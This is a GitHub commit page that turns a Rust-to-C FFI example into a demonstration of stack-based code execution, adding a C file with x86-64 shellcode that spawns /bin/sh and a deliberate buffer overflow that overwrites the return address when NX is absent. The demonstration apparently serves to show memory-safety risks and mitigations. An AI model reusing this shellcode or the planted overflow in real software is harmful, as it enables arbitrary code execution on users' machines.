Skip to content

Commit a5a37fe

Browse files
author
Ali Clark
committed
add stack based shell code (works when NX mitigation not present)
1 parent c8a198c commit a5a37fe

File tree

5 files changed

+48
-15
lines changed

5 files changed

+48
-15
lines changed

rust-to-c/Cargo.toml

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,8 @@
11
[package]
2-
name = "rust-to-c"
2+
name = "rust-to-c-nx-issue"
33
version = "0.1.0"
4-
authors = ["Alex Crichton <[email protected]>"]
4+
authors = ["Ali Clark <[email protected]>"]
55
build = "build.rs"
66

7-
[dependencies]
8-
libc = "0.1"
9-
107
[build-dependencies]
118
gcc = "0.3"

rust-to-c/build.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
extern crate gcc;
22

33
fn main() {
4-
gcc::Config::new().file("src/double.c").compile("libdouble.a");
4+
gcc::Config::new().file("src/buggy.c").compile("libbuggy.a");
55
}

rust-to-c/src/buggy.c

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
2+
#include <stdint.h>
3+
#include <string.h>
4+
#include <stdio.h>
5+
6+
#define TEMPLATE_LEN 256
7+
char buftemplate[TEMPLATE_LEN];
8+
9+
char shellcode[] =
10+
"\x48\x31\xd2" // xor %rdx, %rdx
11+
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov$0x68732f6e69622f2f, %rbx
12+
"\x48\xc1\xeb\x08" // shr $0x8, %rbx
13+
"\x53" // push %rbx
14+
"\x48\x89\xe7" // mov %rsp, %rdi
15+
"\x48\x31\xc0" // xor %rax, %rax
16+
"\x50" // push %rax
17+
"\x57" // push %rdi
18+
"\x48\x89\xe6" // mov %rsp, %rsi
19+
"\xb0\x3b" // mov $0x3b, %al
20+
"\x0f\x05"; // syscall
21+
22+
void buggy_c_code(void) {
23+
char buf[64];
24+
25+
memcpy(buftemplate, shellcode, strlen(shellcode));
26+
27+
// Varies with ASLR. We include within our threat model an attacker
28+
// who can evade ASLR with an address leak or nop sled and can
29+
// modify their shell code accordingly.
30+
buftemplate[72] = ((intptr_t)buf & 0xff) >> 0;
31+
buftemplate[73] = ((intptr_t)buf & 0xff00) >> 8;
32+
buftemplate[74] = ((intptr_t)buf & 0xff0000) >> 16;
33+
buftemplate[75] = ((intptr_t)buf & 0xff000000) >> 24;
34+
buftemplate[76] = ((intptr_t)buf & 0xff00000000) >> 32;
35+
buftemplate[77] = ((intptr_t)buf & 0xff0000000000) >> 40;
36+
buftemplate[78] = ((intptr_t)buf & 0xff000000000000) >> 48;
37+
buftemplate[79] = ((intptr_t)buf & 0xff00000000000000) >> 56;
38+
39+
// Return into the shell code on stack. This will fail if NX stack
40+
// is enabled.
41+
memcpy(buf, buftemplate, 80);
42+
}

rust-to-c/src/double.c

Lines changed: 0 additions & 3 deletions
This file was deleted.

rust-to-c/src/main.rs

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,8 @@
1-
extern crate libc;
2-
31
extern {
4-
fn double_input(input: libc::c_int) -> libc::c_int;
2+
fn buggy_c_code();
53
}
64

75
fn main() {
8-
let input = 4;
9-
let output = unsafe { double_input(input) };
10-
println!("{} * 2 = {}", input, output);
6+
println!("Calling buggy_c_code...");
7+
unsafe { buggy_c_code(); }
118
}

0 commit comments

Comments
 (0)